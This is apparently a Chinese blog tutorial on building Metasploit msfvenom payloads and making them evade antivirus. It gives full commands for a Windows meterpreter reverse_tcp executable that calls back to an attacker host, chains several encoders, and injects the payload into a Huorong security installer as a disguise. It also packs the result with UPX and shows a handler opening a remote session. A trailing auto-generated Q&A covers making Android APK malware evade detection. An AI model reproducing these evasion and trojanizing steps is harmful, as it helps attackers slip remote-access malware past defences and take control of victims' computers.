使用Metasploit生成攻击载荷——msfvenom免杀、upx加壳


前言

本文详细介绍了使用Metasploit创建攻击载荷(使用攻击载荷生成器msfvenom),以及对攻击载荷进行免杀、加壳处理,从而突破杀毒软件


一、免杀

免杀字面意思就是避免被杀掉,准确点说就是创建的攻击载荷在对方电脑上运行的时候,可能会被杀毒软件干掉,使用相关技术让载荷躲过杀毒软件的扫描

1.msfvenom的使用

┌──(root💀kali)-[~]
└─# msfvenom info        
Error: No options
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe

Options:
    -l, --list            <type>     List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
    -p, --payload         <payload>  Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
        --list-options               List --payload <value>'s standard, advanced and evasion options
    -f, --format          <format>   Output format (use --list formats to list)
    -e, --encoder         <encoder>  The encoder to use (use --list encoders to list)
        --service-name    <value>    The service name to use when generating a service binary
        --sec-name        <value>    The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
        --smallest                   Generate the smallest possible payload using all available encoders
        --encrypt         <value>    The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
        --encrypt-key     <value>    A key to be used for --encrypt
        --encrypt-iv      <value>    An initialization vector for --encrypt
    -a, --arch            <arch>     The architecture to use for --payload and --encoders (use --list archs to list)
        --platform        <platform> The platform for --payload (use --list platforms to list)
    -o, --out             <path>     Save the payload to a file
    -b, --bad-chars       <list>     Characters to avoid example: '\x00\xff'
    -n, --nopsled         <length>   Prepend a nopsled of [length] size on to the payload
        --pad-nops                   Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)
    -s, --space           <length>   The maximum size of the resulting payload
        --encoder-space   <length>   The maximum size of the encoded payload (defaults to the -s value)
    -i, --iterations      <count>    The number of times to encode the payload
    -c, --add-code        <path>     Specify an additional win32 shellcode file to include
    -x, --template        <path>     Specify a custom executable file to use as a template
    -k, --keep                       Preserve the --template behaviour and inject the payload as a new thread
    -v, --var-name        <value>    Specify a custom variable name to use for certain output formats
    -t, --timeout         <second>   The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
    -h, --help                       Show this message

有几个比较重要的参数:

  • -p:使用那个攻击载荷,可以通过-l payloads查看所有攻击载荷
  • -f:输出格式,linux是elf,windows是exe
  • -o:输出文件名
  • -e:指定编码器,可以通过-l encoders查看所有编码器
  • -i:编码次数
  • -a:设置目标的指令集架构,这里我们选择x86即可
  • –platform:设置目标平台,这里是windows,可以通过–help-platforms选项查看msfvenom支持的所有平台
  • -k:该选项可以保留模版原来的功能,将payload作为一个新的线程来注入,但不能保证可以用在所有可执行程序上
  • -x:指定模版

例如创建一个windows反弹meterpreter攻击载荷:

┌──(root💀kali)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp lhosts=192.168.1.113 lport=3333 -e cmd/echo -i 10 -f exe -o cmd_echo_113_3333_10.exe               1 ⨯
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 10 iterations of cmd/echo
cmd/echo succeeded with size 354 (iteration=0)
cmd/echo succeeded with size 354 (iteration=1)
cmd/echo succeeded with size 354 (iteration=2)
cmd/echo succeeded with size 354 (iteration=3)
cmd/echo succeeded with size 354 (iteration=4)
cmd/echo succeeded with size 354 (iteration=5)
cmd/echo succeeded with size 354 (iteration=6)
cmd/echo succeeded with size 354 (iteration=7)
cmd/echo succeeded with size 354 (iteration=8)
cmd/echo succeeded with size 354 (iteration=9)
cmd/echo chosen with final size 354
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: cmd_echo_113_3333_10.exe
                                      

-p表示使用windows/meterpreter/reverse_tcp攻击载荷,lhosts=192.168.1.113 lport=3333是主机监控ip和端口,-e 表示使用cmd/echo编码格式,-i表示编码10次

使用火绒安全进行检测,很容易被检测到
1

2.多重编码

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=192.168.1.113 LPORT=3333 -f raw | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 10 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 10 -f exe -o payload2.0.exe

┌──(root💀kali)-[~]
└─# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=192.168.1.113 LPORT=3333 -f raw | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 10 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 10 -f exe -o payload2.0.exe                         
Attempting to read payload from STDIN...
Attempting to read payload from STDIN...
Found 1 compatible encoders
Attempting to encode payload with 20 iterations of x86/shikata_ga_nai
...
x86/shikata_ga_nai chosen with final size 894
Payload size: 894 bytes

Found 1 compatible encoders
Attempting to encode payload with 10 iterations of x86/alpha_upper
...
Found 1 compatible encoders
Attempting to encode payload with 10 iterations of x86/countdown
...
x86/countdown chosen with final size 161
Payload size: 161 bytes
Final size of exe file: 73802 bytes
Saved as: payload2.0.exe
x86/alpha_upper succeeded with size 985271 (iteration=9)
x86/alpha_upper chosen with final size 985271
Payload size: 985271 bytes

这里使用管道让msfvenom对攻击载荷多重编码,先用shikata_ga_nai编码20次,接着来10次的alpha_upper编码,再来10次的countdown编码,最后才生成可执行文件,这次也可以被检测到
2
使用模板

这次前面不变,最后使用一个火绒的安装包为模板进行生成

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=192.168.1.113 LPORT=3333 -f raw | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 10 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 10 -x /root/桌面/sysdiag-full-5.0.61.1-20210605.exe -k -f exe > payload3.exe

┌──(root💀kali)-[~]
└─# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=192.168.1.113 LPORT=3333 -f raw | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 10 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 10 -x /root/桌面/sysdiag-full-5.0.61.1-20210605.exe -k -f exe > payload3.exe

使用模板后的攻击载荷,已经无法被检测到了,nice!

3

运行攻击载荷,可以看到火绒的安装界面,并在主机使用主控端handler,可以连接到靶机

4

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf6 exploit(multi/handler) > setg payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

msf6 exploit(multi/handler) > setg lhost 192.168.1.113

msf6 exploit(multi/handler) > set lport 3333
lport => 3333

msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.113:3333 
[*] Sending stage (175174 bytes) to 192.168.1.106
[*] Meterpreter session 1 opened (192.168.1.113:3333 -> 192.168.1.106:1682) at 2021-06-06 12:58:24 +0800

meterpreter > background
[*] Backgrounding session 1...

二、加壳

加壳是一类能够对可执行文件进行加密压缩并将解压代码嵌入其中的工具,当加壳的文件被运行后,解压代码会从已压缩的数据中重建原始程序并运行

1.upx的使用

┌──(root💀kali)-[~]
└─# upx                      
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2020
UPX 3.96        Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 23rd 2020

Usage: upx [-123456789dlthVL] [-qvfk] [-o file] file..

Commands:
  -1     compress faster                   -9    compress better
  -d     decompress                        -l    list compressed file
  -t     test compressed file              -V    display version number
  -h     give more help                    -L    display software license
Options:
  -q     be quiet                          -v    be verbose
  -oFILE write output to 'FILE'
  -f     force compression of suspicious files
  -k     keep backup files
file..   executables to (de)compress

Type 'upx --help' for more detailed help.

UPX comes with ABSOLUTELY NO WARRANTY; for details visit https://upx.github.io

先使用-5对文件进行加壳

┌──(root💀kali)-[~]
└─# upx -5 payload2.0.exe                                                                                       1 ⨯
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2020
UPX 3.96        Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 23rd 2020

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
     73802 ->     48128   65.21%    win32/pe     payload2.0.exe                

Packed 1 file.                          

本人对第二代payload2.exe进行加壳测试后,发现还是可以被检测到,但是检测的时间和数量有明显的增加
5


总结

本文详细介绍了msfvenom的使用,以及对攻击载荷进行免杀、加壳的过程,仅供学习。

  • 16
    点赞
  • 70
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
### 回答1: Msfvenom是开源安全工具Metasploit中的一个强大的工具,用于生成恶意文件。通过它可以生成各种类型的恶意文件,包括可执行文件、脚本、payload等。其中,在生成Android平台上的恶意文件时,最常用的是apk格式。Msfvenom生成apk文件的主要目的是用于在渗透测试或红队行动中进行攻击或利用。 想要绕过Android平台上的毒软件,需要对apk文件进行处理。Msfvenom生成apk文件时,可以设置一些参数来达到的目的。比如说,可以指定恶意应用使用的一些系统权限和组件,以逃避毒软件的检测。还可以在生成payload时添混淆(obfuscation)代码,使恶意代码更难被发现和分析。 Msfvenom还提供了一些其他的功能,如生成多个Paylod以及生成的多平台Payload等。需要注意的是,使用Msfvenom生成一个完全的apk是非常困难的。因为安全厂商会不断更新库以便检测恶意应用,开发者需要不断更新代码以保持攻击效果。 总的来说,Msfvenom是一款攻击能力强大的工具,但其需要谨慎使用,并且需要经过深入的学习和实践进行掌握。为了避利用该工具进行恶意攻击使用人员应当是经过事先明确授权的安全专业人员。 ### 回答2: MSFVenomMetasploit框架中的一个模块,它可用于生成各种类型的恶意软件。其中,生成的APK的原理主要是通过修改APK的元数据信息和代码,使之不被毒软件所识别。 具体来说,生成APK的步骤如下: 首先,使用MSFVenom生成APK恶意软件,可以自定义恶意软件的功能和载荷类型。 然后,根据需要修改APK的元数据信息,如软件名称、版本号、签名等,以此来欺骗毒软件的识别机制。 接下来,对APK的代码进行混淆和密处理,使其难以被分析和检测。常用的混淆和密工具包括ProGuard、DexGuard、Jadx等。 最后,通过在恶意软件中植入反调试和动态载技术等手段,进一步增强其能力。 需要注意的是,在使用MSFVenom生成APK的过程中,应当遵守法律法规,不得用于非法用途,以触犯相关法律。同时,建议强网络安全意识,强网络安全防范,以受到攻击
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

我重来不说话

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值